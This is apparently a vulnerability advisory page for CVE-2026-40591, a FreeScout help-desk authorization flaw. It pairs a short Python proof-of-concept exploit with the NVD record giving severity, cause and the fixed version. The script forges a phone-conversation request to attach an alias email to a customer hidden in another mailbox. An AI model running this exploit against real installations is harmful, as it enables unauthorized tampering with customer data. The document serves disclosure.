CVE-2026-40591

import requests # Exploit for CVE-2026-40591 # Demonstrates adding an alias to a hidden customer in another mailbox target_url = "https://example.com/api/v1/conversations/phone" access_token = "<LOW_PRIVILEGE_AGENT_TOKEN>" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Malicious payload # customer_id: ID of a customer hidden in Mailbox B # to_email: Email address to inject as an alias payload = { "customer_id": <TARGET_HIDDEN_CUSTOMER_ID>, "name": "Arbitrary Name", "to_email": "[email protected]", "phone": "0000000000", "mailbox_id": <ATTACKER_ACCESSIBLE_MAILBOX_ID> } response = requests.post(target_url, headers=headers, json=payload) if response.status_code == 200: print("[+] Exploit successful: Alias added to hidden customer.") else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-40591", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:56.940", "lastModified": "2026-04-22T21:10:14.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.214, the phone-conversation creation flow accepts attacker-controlled `customer_id`, `name`, `to_email`, and `phone` values and resolves the target customer in the backend without enforcing mailbox-scoped customer visibility. As a result, a low-privileged agent who can create a phone conversation in Mailbox A can bind the new Mailbox A phone conversation to a hidden customer from Mailbox B and add a new alias email to that hidden customer record by supplying `to_email`. Version 1.8.214 fixes the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/83eea1ca47d97c6cdc90c501734bc2579b014a34", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.214", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-9ff4-mmhv-x6jp", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-9ff4-mmhv-x6jp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}